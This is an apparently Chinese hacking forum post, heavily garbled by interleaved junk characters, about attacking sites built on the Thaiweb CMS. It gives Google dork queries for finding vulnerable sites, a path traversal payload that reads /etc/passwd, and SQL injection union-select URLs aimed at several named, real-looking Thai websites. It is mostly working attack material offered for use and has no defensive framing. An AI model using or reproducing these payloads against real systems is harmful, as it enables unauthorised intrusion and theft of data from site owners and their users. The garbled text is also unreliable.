Google之:
- o2 W( D& ?. p- w9 L3 }: H2 v& B- w3 t8 [, U
intext:powered by Thaiweb" ^: A# u! {$ n3 _0 a2 {
. Q+ b3 S4 M9 m. T& T7 A
inurl:index.php?page=board.php) c u5 _2 v! x1 L8 r: l$ a4 X2 q
# v: j( W9 Y* {1 M, ]) `1 }6 {
9 j% Q$ X4 O0 v
5 m- U; L3 p8 @6 h利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
& w$ z$ \9 i" B. W9 A& J2 P1 s: \
( S4 ]: X$ o. Q; n$ g
8 K& B" J' ~3 R( A. e9 f- w3 ^/ W! v% N1 K4 ?2 X
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'4 b1 q: a7 j+ w- m" u( E; W2 U$ ?9 j
6 ~; x' z( ]' @) L
+ y, J+ B8 X( E9 E$ d# v# b; P* M, W* u# t0 m0 ]7 I
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
; \ P- ~+ v: W0 S' Q6 |) O8 z1 Z; f$ Q2 `, `. Z4 ~) k' W$ I6 O+ [8 A
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--; Z& w8 p m* N5 m
; ^+ `* m" g2 u4 H8 L$ H1 A5 O. a
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
# {& c7 A- x0 t9 U |